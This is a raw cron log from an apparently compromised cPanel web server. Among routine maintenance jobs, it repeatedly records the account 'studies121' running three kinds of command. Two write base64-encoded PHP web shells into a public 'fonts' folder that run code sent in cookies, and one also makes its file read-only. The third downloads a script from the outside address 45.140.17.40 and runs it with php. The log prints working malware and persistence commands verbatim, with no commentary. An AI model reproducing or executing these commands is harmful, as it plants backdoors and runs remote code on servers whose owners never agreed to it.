Sep  3 04:57:01 ip-184-168-122-23 CROND[3627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:57:01 ip-184-168-122-23 CROND[3628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:57:01 ip-184-168-122-23 CROND[3631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:57:01 ip-184-168-122-23 CROND[3633]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  3 04:57:01 ip-184-168-122-23 CROND[3632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:58:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:58:01 ip-184-168-122-23 CROND[4241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:58:01 ip-184-168-122-23 CROND[4243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:58:01 ip-184-168-122-23 CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:58:01 ip-184-168-122-23 CROND[4245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:58:05 ip-184-168-122-23 crontab[4369]: (root) LIST (root)
Sep  3 04:58:05 ip-184-168-122-23 crontab[4371]: (root) LIST (root)
Sep  3 04:58:12 ip-184-168-122-23 crontab[4470]: (root) LIST (root)
Sep  3 04:59:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  3 04:59:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  3 04:59:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  3 04:59:01 ip-184-168-122-23 CROND[5023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:59:01 ip-184-168-122-23 CROND[5026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:59:01 ip-184-168-122-23 CROND[5025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:59:01 ip-184-168-122-23 CROND[5027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5241]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:00:01 ip-184-168-122-23 CROND[5249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:00:01 ip-184-168-122-23 CROND[5251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:00:01 ip-184-168-122-23 CROND[5252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:01:01 ip-184-168-122-23 CROND[5436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:01:01 ip-184-168-122-23 CROND[5438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:01:01 ip-184-168-122-23 CROND[5442]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 05:01:01 ip-184-168-122-23 CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:01:01 ip-184-168-122-23 CROND[5439]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:01:01 ip-184-168-122-23 CROND[5443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5442]: starting 0anacron
Sep  3 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5458]: finished 0anacron
Sep  3 05:02:02 ip-184-168-122-23 CROND[5555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:02:02 ip-184-168-122-23 CROND[5557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:02:02 ip-184-168-122-23 CROND[5558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:02:02 ip-184-168-122-23 CROND[5559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:02:02 ip-184-168-122-23 CROND[5560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:03:01 ip-184-168-122-23 CROND[5661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:03:01 ip-184-168-122-23 CROND[5660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:03:01 ip-184-168-122-23 CROND[5663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:03:01 ip-184-168-122-23 CROND[5662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:04:01 ip-184-168-122-23 CROND[5835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:04:01 ip-184-168-122-23 CROND[5834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:04:01 ip-184-168-122-23 CROND[5836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:04:01 ip-184-168-122-23 CROND[5833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:04:01 ip-184-168-122-23 CROND[5837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5941]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:05:01 ip-184-168-122-23 CROND[5943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:05:01 ip-184-168-122-23 CROND[5944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:06:01 ip-184-168-122-23 CROND[6102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:06:01 ip-184-168-122-23 CROND[6103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:06:01 ip-184-168-122-23 CROND[6105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:06:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:06:01 ip-184-168-122-23 CROND[6108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:07:01 ip-184-168-122-23 CROND[6203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:07:01 ip-184-168-122-23 CROND[6205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:07:01 ip-184-168-122-23 CROND[6207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:07:01 ip-184-168-122-23 CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:08:01 ip-184-168-122-23 CROND[6316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:08:01 ip-184-168-122-23 CROND[6319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:08:01 ip-184-168-122-23 CROND[6317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:08:01 ip-184-168-122-23 CROND[6318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
